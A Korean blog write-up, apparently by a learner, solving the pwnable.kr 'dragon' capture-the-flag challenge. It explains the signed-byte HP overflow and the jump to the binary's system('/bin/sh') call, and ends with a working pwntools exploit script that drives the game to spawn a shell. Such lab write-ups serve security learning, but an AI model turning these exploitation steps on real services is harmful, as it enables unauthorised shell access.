또 실행파일을 준당.
http://pwnable.kr/bin/dragon
ELF 32bit 파일이다
뭐에 홀렸는지 다 풀어놓고 마지막에 주소 '오타'를 내서
한참동안 복기를 엄청 다시 했다...
해당 파일은 간단한 게임이고,
프리스트, 기사 중에 선택해서 나오는 드래곤과 싸우는데,
드래곤은 아기, 엄마 번갈아가면서 나온다.
스킬 구성과 스탯 구성상 절대 이길 수 없는 싸움이고, 아이템이나 추가적인 기능은 없다.
코드를 살펴보면 고르라는 1, 2번이 아닌 3을 고르면 SecretLevel 함수로 들어간다.
해당 함수에서 strcmp를 넘어간다면 쉘을 실행시켜주지만
%10s로 글자수 제한도 있고, 힘들어보인다.
하지만 쉘 실행 코드가 안에 있으므로 나중에 점프뛸 곳을 찾으면 여기로 점프하면 되겠다.
이후에 게임을 적당히 즐기면서(?) 캐릭터들의 값을 다루는 부분을 보면
몬스터의 HP를 Byte로 계산한다.
때리면 피가 달지만, 기본적으로 재생하는 값이 있는데, ( (byte)v5+9의 값 )
프리스트의 경우 무적기술과 마나 채우는 기술로 때리지 않고 몬스터 피뻥을 시킬 수 있다.
unsigned 형도 아니라서, 이렇게 피통을 127만 넘기면 이기는 조건을 만들 수 있다.
(void)*v5(v5)형태로 호출하기는 하지만 뭐 인자는 무시하고
그냥 push addr of "/bin/sh" , call system하는 부분으로 점프하면 된다. (0x08048DBF)
(당연한 건데, call이 push next instruction // jmp to call address니까 점프라고 했다.)
exploit code.
from pwn import *
p = remote('127.0.0.1', 9004)
for i in range(4): #캐릭 선택 / 아기드래곤한테 쥬금 (2) / 캐릭 선택
p.recv()
p.sendline('1')
for i in range(4): #(무적무적 / 마나리젠) * 4
p.recv()
p.sendline('3')
p.recv()
p.sendline('3')
p.recv()
p.sendline('2')
p.recv()
p.sendline(p64(0x08048DBF)) #승리 후 쉘따러 감
p.recv()
sleep(1.0)
p.interactive() #ㅎㅇ
지적 환영, 배우는 중
'Pwnable.kr' 카테고리의 다른 글
Pwnable.kr [simple login] (0) | 2019.10.16 |
---|---|
Pwnable.kr [echo2] (0) | 2019.10.10 |
Pwnable.kr[loveletter] (0) | 2019.09.22 |
Pwnable.kr[fix] (0) | 2019.09.15 |
Pwnable.kr[tiny_easy] (0) | 2019.09.15 |